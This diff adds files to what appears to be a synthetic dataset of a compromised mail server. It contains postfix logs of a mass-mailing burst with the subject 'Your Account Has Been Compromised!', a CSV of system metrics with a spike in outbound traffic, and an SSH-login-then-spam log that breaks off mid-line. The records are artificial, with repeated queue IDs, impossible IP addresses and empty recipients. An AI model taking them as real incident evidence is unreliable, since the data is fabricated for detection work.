postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:50 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:50 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:50 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:50 mail-server postfix/bounce[2376]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:05:50 mail-server postfix/cleanup[2376]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:05:55 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:55 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:55 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:55 mail-server postfix/bounce[3069]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:05:55 mail-server postfix/cleanup[3069]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:00 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:00 mail-server postfix/bounce[8877]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:00 mail-server postfix/cleanup[8877]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:05 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.randomdomain.co[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:05 mail-server postfix/bounce[2376]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:05 mail-server postfix/cleanup[2376]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:10 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:10 mail-server postfix/bounce[8140]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:10 mail-server postfix/cleanup[8140]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:15 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.randomdomain.co[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:15 mail-server postfix/bounce[3069]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:15 mail-server postfix/cleanup[3069]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:15 mail-server systemd[1]: Started Session 75 of user root. +Aug 15 10:06:20 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:20 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:20 mail-server postfix/bounce[3069]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:20 mail-server postfix/cleanup[3069]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:25 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:25 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:25 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:25 mail-server postfix/bounce[2376]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:25 mail-server postfix/cleanup[2376]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:30 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:30 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:30 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:30 mail-server postfix/bounce[8140]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:30 mail-server postfix/cleanup[8140]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:35 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:06:35 mail-server postfix/bounce[3069]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:35 mail-server postfix/cleanup[3069]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:40 mail-server postfix/bounce[8877]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:40 mail-server postfix/cleanup[8877]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:45 mail-server postfix/bounce[8877]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:45 mail-server postfix/cleanup[8877]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:50 mail-server postfix/bounce[8877]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:50 mail-server postfix/cleanup[8877]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:06:55 mail-server postfix/bounce[8140]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:06:55 mail-server postfix/cleanup[8140]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:07:00 mail-server postfix/bounce[3069]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:07:00 mail-server postfix/cleanup[3069]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:07:05 mail-server postfix/bounce[8140]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:07:05 mail-server postfix/cleanup[8140]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:07:10 mail-server postfix/bounce[8877]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:07:10 mail-server postfix/cleanup[8877]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:07:15 mail-server postfix/bounce[8140]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:07:15 mail-server postfix/cleanup[8140]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:07:20 mail-server postfix/bounce[8140]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:07:20 mail-server postfix/cleanup[8140]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= +Aug 15 10:07:25 mail-server postfix/bounce[3069]: A1B2C3D4E5: sender non-delivery notification: F6G7H8I9J0 +Aug 15 10:07:25 mail-server postfix/cleanup[3069]: warning: header Subject: Your Account Has Been Compromised! from unknown[198.51.100.12]; from= to= diff --git a/mali_dataset/scenario_5/mali_5_2.csv b/mali_dataset/scenario_5/mali_5_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..253268f9485a26296516f514514d241d60371750 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-08T14:05:00Z,17.54,43.11,15.44,0.66,1.07 +2025-08-08T14:05:05Z,15.81,41.63,15.74,1.02,0.85 +2025-08-08T14:05:10Z,19.42,44.05,24.65,0.56,0.9 +2025-08-08T14:05:15Z,15.24,35.1,24.34,0.82,1.81 +2025-08-08T14:05:20Z,17.49,37.25,18.13,1.13,1.47 +2025-08-08T14:05:25Z,18.14,41.71,21.08,1.49,2.11 +2025-08-08T14:05:30Z,18.85,39.67,20.96,1.03,2.47 +2025-08-08T14:05:35Z,13.14,40.69,18.99,0.88,1.02 +2025-08-08T14:05:40Z,11.21,43.41,16.51,0.5,1.87 +2025-08-08T14:05:45Z,11.28,37.63,21.33,1.37,1.2 +2025-08-08T14:05:50Z,14.52,37.94,16.56,1.37,2.5 +2025-08-08T14:05:55Z,19.06,36.1,20.83,0.62,1.82 +2025-08-08T14:06:00Z,11.6,38.67,21.23,0.66,0.93 +2025-08-08T14:06:05Z,12.35,36.13,17.8,1.0,1.85 +2025-08-08T14:06:10Z,15.06,36.77,18.14,1.32,1.38 +2025-08-08T14:06:15Z,16.01,43.15,20.3,0.97,2.46 +2025-08-08T14:06:20Z,19.49,43.33,19.18,1.31,1.72 +2025-08-08T14:06:25Z,14.86,43.53,17.69,1.2,2.49 +2025-08-08T14:06:30Z,14.3,37.61,15.59,1.14,1.58 +2025-08-08T14:06:35Z,14.02,43.96,20.78,0.74,2.12 +2025-08-08T14:06:40Z,52.64,43.01,28.11,1.65,34.64 +2025-08-08T14:06:45Z,63.28,45.95,23.14,1.35,42.59 +2025-08-08T14:06:50Z,68.2,41.43,27.11,0.72,49.15 +2025-08-08T14:06:55Z,64.83,43.22,22.93,1.15,47.35 +2025-08-08T14:07:00Z,60.61,47.26,22.41,1.83,20.56 +2025-08-08T14:07:05Z,25.76,42.62,20.2,1.15,44.94 +2025-08-08T14:07:10Z,24.88,44.38,18.66,1.94,32.88 +2025-08-08T14:07:15Z,69.45,42.97,25.26,1.3,30.04 +2025-08-08T14:07:20Z,45.63,41.75,21.18,0.66,28.34 +2025-08-08T14:07:25Z,23.23,45.3,29.91,1.08,43.61 +2025-08-08T14:07:30Z,49.94,49.03,24.12,0.89,35.34 +2025-08-08T14:07:35Z,70.96,43.61,27.12,0.96,31.84 +2025-08-08T14:07:40Z,37.46,41.97,18.04,1.33,28.23 +2025-08-08T14:07:45Z,66.09,42.97,26.85,1.55,25.4 +2025-08-08T14:07:50Z,25.06,43.36,18.63,0.94,49.72 +2025-08-08T14:07:55Z,74.58,43.46,29.34,1.68,48.26 +2025-08-08T14:08:00Z,51.22,42.62,29.42,1.51,43.74 +2025-08-08T14:08:05Z,74.72,46.69,21.44,0.84,40.3 +2025-08-08T14:08:10Z,20.98,40.05,28.85,1.23,32.95 +2025-08-08T14:08:15Z,50.48,44.46,26.35,0.88,21.05 +2025-08-08T14:08:20Z,42.76,44.34,21.61,0.87,47.8 +2025-08-08T14:08:25Z,68.17,49.33,29.59,1.7,44.4 +2025-08-08T14:08:30Z,42.07,46.35,19.01,0.55,39.38 +2025-08-08T14:08:35Z,56.36,45.06,24.56,1.18,40.43 +2025-08-08T14:08:40Z,25.8,46.42,25.97,1.41,43.43 +2025-08-08T14:08:45Z,49.99,46.68,20.84,1.44,29.76 +2025-08-08T14:08:50Z,50.13,46.93,25.07,1.87,27.05 +2025-08-08T14:08:55Z,28.78,48.73,18.54,1.46,46.47 +2025-08-08T14:09:00Z,71.98,49.75,29.29,1.61,41.25 +2025-08-08T14:09:05Z,40.84,48.21,29.81,1.27,45.39 +2025-08-08T14:09:10Z,30.71,49.8,18.1,1.58,28.47 +2025-08-08T14:09:15Z,69.58,40.86,18.37,1.39,36.34 +2025-08-08T14:09:20Z,48.34,46.66,20.98,0.82,23.37 +2025-08-08T14:09:25Z,56.52,40.52,28.33,1.46,36.2 +2025-08-08T14:09:30Z,34.39,48.77,29.62,1.43,26.62 +2025-08-08T14:09:35Z,60.31,46.53,29.79,1.99,24.41 +2025-08-08T14:09:40Z,51.72,41.64,20.68,1.88,22.01 +2025-08-08T14:09:45Z,73.62,42.77,22.96,0.92,46.1 +2025-08-08T14:09:50Z,50.7,43.05,22.28,1.57,25.09 +2025-08-08T14:09:55Z,37.06,49.07,19.78,0.57,28.1 +2025-08-08T14:10:00Z,62.78,41.68,28.02,0.76,27.82 +2025-08-08T14:10:05Z,37.93,41.31,18.07,0.85,35.49 +2025-08-08T14:10:10Z,53.73,41.14,21.35,1.6,26.58 +2025-08-08T14:10:15Z,55.57,41.93,21.45,1.06,45.95 +2025-08-08T14:10:20Z,70.41,41.94,22.87,0.64,37.58 +2025-08-08T14:10:25Z,31.7,42.52,26.57,1.94,48.61 +2025-08-08T14:10:30Z,46.6,48.35,26.48,1.22,31.38 +2025-08-08T14:10:35Z,39.17,46.68,23.1,1.65,31.58 +2025-08-08T14:10:40Z,34.41,41.31,21.19,1.74,50.0 +2025-08-08T14:10:45Z,21.5,49.28,20.73,1.18,32.14 +2025-08-08T14:10:50Z,51.58,49.95,29.01,0.78,37.48 +2025-08-08T14:10:55Z,33.57,46.88,25.32,1.37,40.3 +2025-08-08T14:11:00Z,33.25,41.0,29.42,1.74,29.75 +2025-08-08T14:11:05Z,50.44,40.5,21.23,1.56,48.11 +2025-08-08T14:11:10Z,36.03,40.42,21.39,1.91,46.37 +2025-08-08T14:11:15Z,56.66,42.52,22.65,0.96,31.53 +2025-08-08T14:11:20Z,69.9,46.88,24.41,1.32,32.57 +2025-08-08T14:11:25Z,55.71,45.94,25.44,0.95,24.88 +2025-08-08T14:11:30Z,74.61,43.07,29.87,1.66,30.59 +2025-08-08T14:11:35Z,61.53,49.67,18.29,0.68,26.02 +2025-08-08T14:11:40Z,57.73,41.22,21.46,1.21,31.52 +2025-08-08T14:11:45Z,62.21,42.71,22.19,0.98,23.21 +2025-08-08T14:11:50Z,54.47,48.9,21.44,1.1,44.19 +2025-08-08T14:11:55Z,44.06,49.98,23.72,0.52,26.18 +2025-08-08T14:12:00Z,29.03,40.14,23.04,1.35,41.55 +2025-08-08T14:12:05Z,59.96,48.97,21.83,1.48,44.11 +2025-08-08T14:12:10Z,27.83,49.24,22.86,1.2,24.5 +2025-08-08T14:12:15Z,46.87,47.39,21.11,1.03,26.13 +2025-08-08T14:12:20Z,49.24,49.67,27.69,1.07,46.01 +2025-08-08T14:12:25Z,41.72,41.99,24.43,1.34,32.86 diff --git a/mali_dataset/scenario_5/mali_5_2.log b/mali_dataset/scenario_5/mali_5_2.log new file mode 100644 index 0000000000000000000000000000000000000000..c962649b91089104d1035161f77151bb8606b6e2 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_2.log @@ -0,0 +1,265 @@ +Aug 08 14:05:05 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 08 14:05:15 server sshd[8401]: Accepted password for user admin from 254.217.19.212 port 58060 ssh2 +Aug 08 14:05:40 server CRON[9591]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 08 14:06:41 server postfix/smtp[19668]: 1371487BB7: to=, from=, relay=aspmx.l.google.com[54.222.21.186]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:41 server postfix/smtp[19670]: E8BDA13AF5: to=, from=, relay=aspmx.l.google.com[132.53.8.161]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:42 server postfix/smtp[19669]: C0DCF1D450: to=, from=, relay=mailservice.net[55.119.157.159]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:06:43 server postfix/smtp[19667]: A63F330F5F: to=, from=, relay=aspmx.l.google.com[211.212.246.30]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:46 server postfix/smtp[19671]: 96FFA21CD8: to=, from=, relay=aspmx.l.google.com[110.118.28.66]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:48 server postfix/smtp[19673]: B105E08174: to=, from=, relay=aspmx.l.google.com[71.225.20.242]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:48 server postfix/smtp[19674]: F1B4178C77: to=, from=, relay=aspmx.l.google.com[248.237.207.106]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:49 server postfix/smtp[19672]: EE13F37345: to=, from=, relay=user-mail.info[182.167.201.46]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:06:51 server postfix/smtp[19675]: 85661B85E9: to=, from=, relay=aspmx.l.google.com[37.149.236.79]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:51 server postfix/smtp[19677]: 3075BA8E9E: to=, from=, relay=mailservice.net[168.192.220.250]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:06:52 server postfix/smtp[19676]: 5B5493F2D3: to=, from=, relay=aspmx.l.google.com[40.167.232.144]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:56 server postfix/smtp[19680]: 13F3043054: to=, from=, relay=user-mail.info[61.118.40.151]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:06:56 server postfix/smtp[19681]: 3A75008B84: to=, from=, relay=aspmx.l.google.com[252.150.57.116]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:58 server postfix/smtp[19679]: F0F4EFF649: to=, from=, relay=aspmx.l.google.com[5.111.251.75]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:59 server postfix/smtp[19678]: B78A385EE7: to=, from=, relay=aspmx.l.google.com[13.237.138.137]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:03 server postfix/smtp[19682]: 5AD53CE6EF: to=, from=, relay=aspmx.l.google.com[4.68.53.244]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:04 server postfix/smtp[19683]: FF10BFBFB7: to=, from=, relay=aspmx.l.google.com[136.136.126.30]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:08 server postfix/smtp[19684]: 42FA2CDA4E: to=, from=, relay=business.biz[103.87.140.149]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:07:09 server postfix/smtp[19685]: 879728AFDA: to=, from=, relay=business.biz[79.210.117.237]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:07:09 server postfix/smtp[19686]: 0781311348: to=, from=, relay=aspmx.l.google.com[136.28.208.113]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:13 server postfix/smtp[19688]: 6F8988D5F0: to=, from=, relay=aspmx.l.google.com[30.103.119.109]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:14 server postfix/smtp[19687]: C7E483164C: to=, from=, relay=aspmx.l.google.com[250.137.20.20]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:15 server postfix/smtp[19692]: FA7FED54FB: to=, from=, relay=user-mail.info[24.209.190.43]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:07:15 server postfix/smtp[19693]: EDFDD10A3E: to=, from=, relay=aspmx.l.google.com[114.222.45.76]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:16 server postfix/smtp[19691]: 5EB05FB8EE: to=, from=, relay=aspmx.l.google.com[226.123.226.6]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:17 server postfix/smtp[19689]: F1CF8BB958: to=, from=, relay=web-host.org[242.158.184.67]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:07:18 server postfix/smtp[19690]: A36E9D563C: to=, from=, relay=user-mail.info[98.129.50.213]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:07:21 server postfix/smtp[19694]: 14BA48025C: to=, from=, relay=aspmx.l.google.com[131.101.32.138]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:21 server postfix/smtp[19695]: A21F0D7CAD: to=, from=, relay=aspmx.l.google.com[207.235.105.71]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:21 server postfix/smtp[19697]: 5BC1C409A3: to=, from=, relay=aspmx.l.google.com[144.213.204.223]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:22 server postfix/smtp[19696]: 62558BBD29: to=, from=, relay=business.biz[112.171.86.166]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:07:24 server postfix/smtp[19698]: 16C30D92B1: to=, from=, relay=aspmx.l.google.com[225.100.81.83]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:26 server postfix/smtp[19700]: B3D382ADD4: to=, from=, relay=aspmx.l.google.com[20.188.115.243]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:28 server postfix/smtp[19699]: 789F81B4A2: to=, from=, relay=aspmx.l.google.com[227.35.84.46]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:29 server postfix/smtp[19701]: 8626D2541B: to=, from=, relay=aspmx.l.google.com[98.48.26.169]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:30 server postfix/smtp[19702]: 2AB4B8074F: to=, from=, relay=example.com[155.239.149.121]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:07:30 server postfix/smtp[19704]: A348AC78A3: to=, from=, relay=aspmx.l.google.com[153.177.246.151]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:31 server postfix/smtp[19703]: CA89D32E6C: to=, from=, relay=aspmx.l.google.com[243.99.204.118]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:34 server postfix/smtp[19705]: 1FCF3B3E16: to=, from=, relay=aspmx.l.google.com[220.4.32.110]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:37 server postfix/smtp[19707]: 62552A210C: to=, from=, relay=aspmx.l.google.com[229.172.134.30]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:37 server postfix/smtp[19709]: C01542F54E: to=, from=, relay=aspmx.l.google.com[234.83.133.44]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:38 server postfix/smtp[19706]: 08DC355B79: to=, from=, relay=mailservice.net[213.95.194.78]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:07:38 server postfix/smtp[19708]: 2663EBB204: to=, from=, relay=aspmx.l.google.com[96.132.197.232]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:39 server postfix/smtp[19710]: 96816C231C: to=, from=, relay=aspmx.l.google.com[49.124.177.96]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:40 server postfix/smtp[19713]: 8A22B81DC1: to=, from=, relay=aspmx.l.google.com[39.28.33.237]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:40 server postfix/smtp[19714]: 35F858CAFA: to=, from=, relay=aspmx.l.google.com[157.55.89.47]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:41 server postfix/smtp[19715]: 1EC3DB3214: to=, from=, relay=aspmx.l.google.com[126.92.50.252]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:43 server postfix/smtp[19711]: E55BAAFAF8: to=, from=, relay=aspmx.l.google.com[149.32.46.16]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:43 server postfix/smtp[19712]: 6404A6AB68: to=, from=, relay=mailservice.net[86.165.243.90]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:07:47 server postfix/smtp[19716]: BE92BB7271: to=, from=, relay=aspmx.l.google.com[180.228.95.80]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:47 server postfix/smtp[19717]: F12E777AB1: to=, from=, relay=aspmx.l.google.com[187.125.4.119]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:49 server postfix/smtp[19718]: 4D62EDFE03: to=, from=, relay=aspmx.l.google.com[31.153.207.124]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:49 server postfix/smtp[19719]: A13BE62CB2: to=, from=, relay=aspmx.l.google.com[184.177.173.4]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:53 server postfix/smtp[19720]: 54A3E0BAC8: to=, from=, relay=example.com[158.40.214.39]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:07:53 server postfix/smtp[19721]: A9A33BFBA3: to=, from=, relay=aspmx.l.google.com[60.209.77.197]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:54 server postfix/smtp[19722]: EF028B0545: to=, from=, relay=aspmx.l.google.com[107.189.68.200]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:55 server postfix/smtp[19727]: 845D0913B8: to=, from=, relay=aspmx.l.google.com[22.230.181.120]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:57 server postfix/smtp[19724]: 401CC38CA3: to=, from=, relay=aspmx.l.google.com[70.87.80.219]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:57 server postfix/smtp[19725]: ED53D27B96: to=, from=, relay=aspmx.l.google.com[110.73.3.9]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:58 server postfix/smtp[19723]: E04ECBDFE1: to=, from=, relay=aspmx.l.google.com[59.71.211.43]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:07:58 server postfix/smtp[19726]: 8E90A65A4C: to=, from=, relay=aspmx.l.google.com[239.207.208.111]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:00 server 